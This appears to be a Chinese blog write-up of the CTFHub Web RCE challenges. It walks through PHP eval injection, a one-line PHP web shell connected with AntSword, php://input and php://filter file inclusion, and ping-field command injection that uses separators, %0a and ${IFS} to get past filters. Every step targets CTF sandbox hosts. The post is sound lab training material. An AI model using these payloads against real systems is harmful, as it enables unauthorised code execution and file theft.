【CTFHub】RCE通关

这次做的是CTFHub -> Web -> RCE

1.eval执行

开启环境

使用hackbar插件修改url,构造?cmd=system("ls");,查看根目录

http://challenge-117bdf23cdac9035.sandbox.ctfhub.com:10800/?cmd=system("ls");

输入?cmd=system("cat /flag_9777");查看flag_9777文件得到falg

ctfhub{b7c3f36ea35d84d1dec12405}

2.文件包含

开启环境

这里有一段代码,看到最下边一行提示有shell,点击查看

<?php eval($_REQUEST['ctfhub']);?>

这是一个一句话木马,那我们可以尝试用蚁剑连接

在地址栏输入/?file=shell.txt,打开蚁剑,添加数据,输入地址和密码

http://challenge-9d8fc2693a0b171f.sandbox.ctfhub.com:10800/?file=shell.txt

连接成功,点击打开添加的数据,开始寻找flag

在根目录下成功找到flag

ctfhub{f85af8d445a9985d1c371fc6}

3.php://input

开启环境

根据题目可以知道这题要用php://input伪协议

这里用Burp抓包,发送到Repeater模块

我们这里要改一下数据包,在GET /后拼接?file=php://input,然后想查看一下根目录,在末尾输<?php system("ls /");?>,输入好后点击send,成功查看到根目录

然后要查看flag_7453,在末尾输<?php system("cat /flag_7453");?>,sendflag

ctfhub{a20ab52a15ff1b86c654e63b}

4.读取源代码

开启环境

可以看到这关直接给出了flag的位置,用之前的php://input伪协议burp改包发现不管用了,应该是allow_url_include为off,这个值为on才可以用。

那么我们可以尝试用一下php://filter,来实现对文件的访问

依旧是Burp抓包,扔到Repeatet模块

构造payload,读取/flag

?file=php://filter/resource=/flag

ctfhub{f5e8adda27de145258321b2f}

5.远程包含

开启环境

这关和php://input那关一样,先用Burp抓包,发送到repeater模块

然后构造payload,读取flag

ctfhub{1a13831839c871dbfb8cfd20}

6.命令注入-无过滤

开启环境

使用了ping命令,我们输入127.0.0.1,进行ping

由于没有过滤,直接进行命令的拼接,输入127.0.0.1 | ls

127.0.0.1 | ls

查看文件内容,输入 127.0.0.1 | cat 118402876104.php

127.0.0.1 | cat 118402876104.php

这里结果没有显示,我们需要右击查看页面源码,得到flag

ctfhub{f23a1df3cb94c56a8b0e6b47}

7.命令注入-过滤cat

启动环境

延续上把的思路,输入127.0.0.1 | ls

127.0.0.1 | ls

接下来查看flag_63643248413664.php即可得到flag,这关过滤cat,所以我们选择用head尝试一下

127.0.0.1 | head flag_63643248413664.php

查看源码,得到flag

ctfhub{6a6d3b431709cf59540519a8}

8.命令注入-过滤空格

开启环境

这关过滤空格,所以我们不能使用空格,需要用的时候可以用特殊字符来代替

例如:使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}来代替空格

还是先查看目录下的文件

127.0.0.1|ls

接着查看flag_1382120916005.php

127.0.0.1|cat<flag_1382120916005.php

查看源码,得到flag

ctfhub{6fb3f31fc406c6962477a71d}

9.命令注入-过滤目录分隔符

开启环境

这一关是过滤了目录分隔符/,那就不能直接查看文件夹里的文件了,这里利用分号使两个命令同时进行

查看目录文件

127.0.0.1|ls

查看flag_is_here中的文件

127.0.0.1;cd flag_is_here;ls

查看flag_280218639196.php,查看源码,获得flag

127.0.0.1;cd flag_is_here;cat flag_280218639196.php

ctfhub{b34b9b21858896205ba41f10}

10.命令注入-过滤运算符

开启环境

本关运算符,就是过滤掉了|&

查看目录文件

127.0.0.1;ls

查看flag_2450155772081.php,查看源码,获得flag

127.0.0.1;cat flag_2450155772081.php

ctfhub{50d83f7036b4d320b6f34b76}

12.命令注入-综合练习

开启环境

本关过滤了|&;/catflagctfhub空格

|		&		;		/		cat		flag		ctfhub		空格
; 用 %0a 代替
cat 用 head 代替
空格 用 ${IFS} 替代

查看目录下文件

?ip=127.0.0.1%0als

查看flag_is_here文件夹

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

查看flag_120783017711734.php,查看源码,获得flag

?ip=127.0.0.1%0acd${IFS}f***_is_here%0ahead${IFS}f***_120783017711734.php

ctfhub{eebaec3afd03d21ff8142332}

RCE完结撒花!!!

  • 23
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值